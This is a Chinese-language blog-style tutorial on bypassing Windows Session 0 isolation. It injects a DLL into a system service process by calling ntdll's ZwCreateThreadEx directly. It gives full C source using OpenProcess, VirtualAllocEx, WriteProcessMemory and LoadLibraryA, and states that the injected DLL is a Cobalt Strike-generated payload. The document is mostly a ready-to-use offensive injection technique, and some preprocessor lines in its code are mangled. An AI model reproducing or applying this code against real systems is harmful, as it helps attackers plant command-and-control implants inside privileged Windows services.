一、前言
在早期的windows系统如windows xp和windows server 2003中,第一个登录的用户及其所有服务都在session 0上运行。这种做法可能导致应用程序利用windows服务提升权限。为此,较新的windows版本引入了一种隔离机制,普通应用程序不再在session 0中运行。

二、突破SESSION 0 思路
由于SESSION 0隔离机制的存在,传统的远程线程注入系统服务进程方法失败。与传统的CreateRemoteThread函数实现的DLL远线程注入不同,我们直接调用了更底层的ZwCreateThreadEx来创建线程。
虽然CreateRemoteThread函数在底层也是调用ZwCreateThreadEx,但ZwCreateThreadEx的第7个参数CreateSuspended(CreateThreadFlags)始终为1,这会导致线程创建后一直挂起无法恢复运行。因此,我们选择直接调用ZwCreateThreadEx,并将第7个参数置为0,以达到注入目的。
三、代码实现
ZwCreateThreadEx在ntdll.dll中未声明,因此我们需要使用GetProcAddress从ntdll.dll中获取该函数的导出地址。需要注意的是,64位和32位系统中,函数定义有所不同。64位下的ZwCreateThreadEx函数声明如下:
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);而32位下的ZwCreateThreadEx函数声明如下:
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);我们同样使用GetProcAddress从Kernel32.dll中获取LoadLibraryA函数的导出地址:
typedef DWORD(WINAPI* typedef_LoadLibraryA)(char* path);
HMODULE hKeModule = GetModuleHandleA("Kernel32.dll");
typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA");随后,我们获取进程句柄,在目标进程空间中申请内存空间,然后将我们的DLL写入到内存空间中,最后创建线程等待执行。
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092); LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0); ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL); return 0;
效果如下图所示:



此处使用的DLL为Cobalt Strike生成的64位DLL。完整代码如下:
#include#include ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);
else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);
endif
int main(int argc, char* argv[]) { char DllPath[] = "C:\Users\RTO\Desktop\Injection2\a.dll"; //DLL路径 HANDLE hRemoteThread; HMODULE hNtModule = GetModuleHandleA("ntdll.dll"); HMODULE hKeModule = GetModuleHandleA("Kernel32.dll"); typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtModule, "ZwCreateThreadEx"); typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA"); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092); //此处为SESSION 0的进程PID LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0); ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL); return 0; }
四、小结
需要管理员权限才能执行上述操作。










